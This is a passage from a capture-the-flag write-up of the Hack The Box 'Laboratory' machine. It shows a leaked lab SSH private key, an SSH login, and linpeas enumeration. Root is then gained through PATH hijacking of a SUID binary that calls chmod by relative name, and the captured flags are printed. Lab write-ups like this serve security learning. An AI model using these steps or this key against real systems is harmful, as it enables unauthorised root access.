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
-----END OPENSSH PRIVATE KEY-----
I saved its contents to the dexter_priv_key
file, granted the proper permissions and established an ssh session:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $chmod 400 ./dexter_priv_key
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $ssh dexter@git.laboratory.htb -i dexter_priv_key
It remained to read the user flag:
dexter@laboratory:~$ cat user.txt
7f0691db1efb9d1feead843b480d13f0
6. Privilege Escalation: dexter ⇨ root
I again uploaded the linpeas.sh
tool to the server:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $scp -i dexter_priv_key ./linpeas.sh dexter@git.laboratory.htb:/dev/shm/linpeas.sh
linpeas.sh 100% 223KB 663.1KB/s 00:00
and launched them:
dexter@laboratory:/dev/shm$ chmod +x linpeas.sh
dexter@laboratory:/dev/shm$ ./linpeas.sh
My attention was drawn to the process:
20K -rwsr-xr-x 1 root dexter 17K Aug 28 14:52 /usr/local/bin/docker-security
Which had the SUID bit set.
I was unfamiliar with this program, and found no mention of it in the Docker documentation or on gtfobins. So I downloaded the file to my machine:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $scp -i ../dexter_priv_key dexter@laboratory.htb:/usr/local/bin/docker-security ./
docker-security 100% 16KB 149.5KB/s 00:00
The file was a 64-bit executable:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $file docker-security
docker-security: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d466f1fb0f54c0274e5d05974e81f19dc1e76602, for GNU/Linux 3.2.0, not stripped
An analysis of the strings that occurred in the file revealed the possibility that the program used the chmod command:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $strings docker-security | grep chmod
chmod 700 /usr/bin/docker
chmod 660 /var/run/docker.sock
I confirmed this fact by running the cutter and disassembling the program:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $cutter docker-security
In fact, the chmod command call appeared twice in the main function:
So it remained to provide the program with the ability to make a better version of the chmod tool:
dexter@laboratory:/dev/shm$ echo /bin/bash > chmod
dexter@laboratory:/dev/shm$ chmod +x chmod
dexter@laboratory:/dev/shm$ export PATH=/dev/shm:$PATH
dexter@laboratory:/dev/shm$ /usr/local/bin/docker-security
And read the flag:
root@laboratory:/dev/shm# cat /root/root.txt
1ca8dc5e00c0a8fb955dd642b81f73eb
7. Summary
The following circumstances led to the capture of the flags:
The publicly released GitLab, which was part of the corporate infrastructure and contained sensitive data.
An outdated version of GitLab CMS that had a known vulnerability of the Arbitrary File Read and Remote Code Execution classes.
Software with the SUID bit set, which was vulnerable to a Path Hijacking class attack.
An outdated version of CloudMe software having a known vulnerability.